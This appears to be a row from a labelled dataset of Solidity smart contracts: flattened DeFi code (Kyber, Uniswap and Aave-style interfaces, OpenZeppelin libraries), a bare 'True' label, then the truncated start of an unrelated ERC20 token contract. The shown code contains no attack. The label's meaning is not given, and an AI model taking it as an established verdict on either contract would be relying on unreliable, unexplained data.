//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
struct UserConfigurationMap {
uint256 data;
}
enum InterestRateMode {NONE, STABLE, VARIABLE}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
interface IProtocolDataProvider {
struct TokenData {
string symbol;
address tokenAddress;
}
function getAllReservesTokens() external view returns (TokenData[] memory);
function getAllATokens() external view returns (TokenData[] memory);
function getReserveConfigurationData(address asset)
external view returns(
uint256 decimals,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
uint256 reserveFactor,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive,
bool isFrozen
);
function getReserveData(address asset)
external view returns (
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 lastUpdateTimestamp
);
function getUserReserveData(address asset, address user)
external view returns (
uint256 currentATokenBalance,
uint256 currentStableDebt,
uint256 currentVariableDebt,
uint256 principalStableDebt,
uint256 scaledVariableDebt,
uint256 stableBorrowRate,
uint256 liquidityRate,
uint40 stableRateLastUpdated,
bool usageAsCollateralEnabled
);
function getReserveTokensAddresses(address asset)
external view returns (
address aTokenAddress,
address stableDebtTokenAddress,
address variableDebtTokenAddress
);
function calculateUserGlobalData(address _user)
external
view
returns (
uint256 totalLiquidityBalanceETH,
uint256 totalCollateralBalanceETH,
uint256 totalBorrowBalanceETH,
uint256 totalFeesETH,
uint256 currentLtv,
uint256 currentLiquidationThreshold,
uint256 healthFactor,
bool healthFactorBelowThreshold
);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity 0.6.6;
interface IBurnGasHelper {
function getAmountGasTokensToBurn(uint256 gasTotalConsumption)
external
view
returns (uint256 numGas, address gasToken);
}
pragma solidity 0.6.6;
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
interface IKyberProxy {
function tradeWithHintAndFee(
IERC20 src,
uint256 srcAmount,
IERC20 dest,
address payable destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address payable platformWallet,
uint256 platformFeeBps,
bytes calldata hint
) external payable returns (uint256 destAmount);
function getExpectedRateAfterFee(
IERC20 src,
IERC20 dest,
uint256 srcQty,
uint256 platformFeeBps,
bytes calldata hint
) external view returns (uint256 expectedRate);
}
pragma solidity 0.6.6;
interface IGasToken {
function mint(uint256 value) external;
function freeUpTo(uint256 value) external returns (uint256 freed);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
function approve(address spender, uint256 value) external returns (bool success);
}
pragma solidity 0.6.6;
import "./IERC20Ext.sol";
/**
* @title Kyber utility file
* mostly shared constants and rate calculation helpers
* inherited by most of kyber contracts.
* previous utils implementations are for previous solidity versions.
*/
contract Utils {
/// Declared constants below to be used in tandem with
/// getDecimalsConstant(), for gas optimization purposes
/// which return decimals from a constant list of popular
/// tokens.
IERC20Ext internal constant ETH_TOKEN_ADDRESS = IERC20Ext(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
IERC20Ext internal constant USDT_TOKEN_ADDRESS = IERC20Ext(
0xdAC17F958D2ee523a2206206994597C13D831ec7
);
IERC20Ext internal constant DAI_TOKEN_ADDRESS = IERC20Ext(
0x6B175474E89094C44Da98b954EedeAC495271d0F
);
IERC20Ext internal constant USDC_TOKEN_ADDRESS = IERC20Ext(
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
);
IERC20Ext internal constant WBTC_TOKEN_ADDRESS = IERC20Ext(
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
);
IERC20Ext internal constant KNC_TOKEN_ADDRESS = IERC20Ext(
0xdd974D5C2e2928deA5F71b9825b8b646686BD200
);
uint256 public constant BPS = 10000; // Basic Price Steps. 1 step = 0.01%
uint256 internal constant PRECISION = (10**18);
uint256 internal constant MAX_QTY = (10**28); // 10B tokens
uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth
uint256 internal constant MAX_DECIMALS = 18;
uint256 internal constant ETH_DECIMALS = 18;
uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite
mapping(IERC20Ext => uint256) internal decimals;
/// @dev Sets the decimals of a token to storage if not already set, and returns
/// the decimals value of the token. Prefer using this function over
/// getDecimals(), to avoid forgetting to set decimals in local storage.
/// @param token The token type
/// @return tokenDecimals The decimals of the token
function getSetDecimals(IERC20Ext token) internal returns (uint256 tokenDecimals) {
tokenDecimals = getDecimalsConstant(token);
if (tokenDecimals > 0) return tokenDecimals;
tokenDecimals = decimals[token];
if (tokenDecimals == 0) {
tokenDecimals = token.decimals();
decimals[token] = tokenDecimals;
}
}
/// @dev Get the balance of a user
/// @param token The token type
/// @param user The user's address
/// @return The balance
function getBalance(IERC20Ext token, address user) internal view returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return user.balance;
} else {
return token.balanceOf(user);
}
}
/// @dev Get the decimals of a token, read from the constant list, storage,
/// or from token.decimals(). Prefer using getSetDecimals when possible.
/// @param token The token type
/// @return tokenDecimals The decimals of the token
function getDecimals(IERC20Ext token) internal view returns (uint256 tokenDecimals) {
// return token decimals if has constant value
tokenDecimals = getDecimalsConstant(token);
if (tokenDecimals > 0) return tokenDecimals;
// handle case where token decimals is not a declared decimal constant
tokenDecimals = decimals[token];
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
return (tokenDecimals > 0) ? tokenDecimals : token.decimals();
}
function calcDestAmount(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 rate
) internal view returns (uint256) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(
IERC20Ext src,
IERC20Ext dest,
uint256 destAmount,
uint256 rate
) internal view returns (uint256) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcDstQty(
uint256 srcQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(srcQty <= MAX_QTY, "srcQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(
uint256 dstQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(dstQty <= MAX_QTY, "dstQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
//source quantity is rounded up. to avoid dest quantity being too low.
uint256 numerator;
uint256 denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
function calcRateFromQty(
uint256 srcAmount,
uint256 destAmount,
uint256 srcDecimals,
uint256 dstDecimals
) internal pure returns (uint256) {
require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY");
require(destAmount <= MAX_QTY, "destAmount > MAX_QTY");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount);
}
}
/// @dev save storage access by declaring token decimal constants
/// @param token The token type
/// @return token decimals
function getDecimalsConstant(IERC20Ext token) internal pure returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return ETH_DECIMALS;
} else if (token == USDT_TOKEN_ADDRESS) {
return 6;
} else if (token == DAI_TOKEN_ADDRESS) {
return 18;
} else if (token == USDC_TOKEN_ADDRESS) {
return 6;
} else if (token == WBTC_TOKEN_ADDRESS) {
return 8;
} else if (token == KNC_TOKEN_ADDRESS) {
return 18;
} else {
return 0;
}
}
function minOf(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
}
pragma solidity 0.6.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./IERC20Ext.sol";
import "./PermissionGroups.sol";
contract Withdrawable is PermissionGroups {
using SafeERC20 for IERC20Ext;
event TokenWithdraw(IERC20Ext token, uint256 amount, address sendTo);
event EtherWithdraw(uint256 amount, address sendTo);
constructor(address _admin) public PermissionGroups(_admin) {}
/**
* @dev Withdraw all IERC20Ext compatible tokens
* @param token IERC20Ext The address of the token contract
*/
function withdrawToken(
IERC20Ext token,
uint256 amount,
address sendTo
) external onlyAdmin {
token.safeTransfer(sendTo, amount);
emit TokenWithdraw(token, amount, sendTo);
}
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint256 amount, address payable sendTo) external onlyAdmin {
(bool success, ) = sendTo.call{value: amount}("");
require(success, "withdraw failed");
emit EtherWithdraw(amount, sendTo);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity 0.6.6;
contract PermissionGroups {
uint256 internal constant MAX_GROUP_SIZE = 50;
address public admin;
address public pendingAdmin;
mapping(address => bool) internal operators;
mapping(address => bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
event AdminClaimed(address newAdmin, address previousAdmin);
event TransferAdminPending(address pendingAdmin);
event OperatorAdded(address newOperator, bool isAdd);
event AlerterAdded(address newAlerter, bool isAdd);
constructor(address _admin) public {
require(_admin != address(0), "admin 0");
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "only admin");
_;
}
modifier onlyOperator() {
require(operators[msg.sender], "only operator");
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender], "only alerter");
_;
}
function getOperators() external view returns (address[] memory) {
return operatorsGroup;
}
function getAlerters() external view returns (address[] memory) {
return alertersGroup;
}
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "new admin 0");
emit TransferAdminPending(newAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "admin 0");
emit TransferAdminPending(newAdmin);
emit AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender, "not pending");
emit AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter], "alerter exists"); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE, "max alerters");
emit AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter(address alerter) public onlyAdmin {
require(alerters[alerter], "not alerter");
alerters[alerter] = false;
for (uint256 i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.pop();
emit AlerterAdded(alerter, false);
break;
}
}
}
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator], "operator exists"); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE, "max operators");
emit OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator(address operator) public onlyAdmin {
require(operators[operator], "not operator");
operators[operator] = false;
for (uint256 i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.pop();
emit OperatorAdded(operator, false);
break;
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-05-16 asdzzz
*/
pragma solidity ^0.5.17;
/*
Customized BCLNC
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
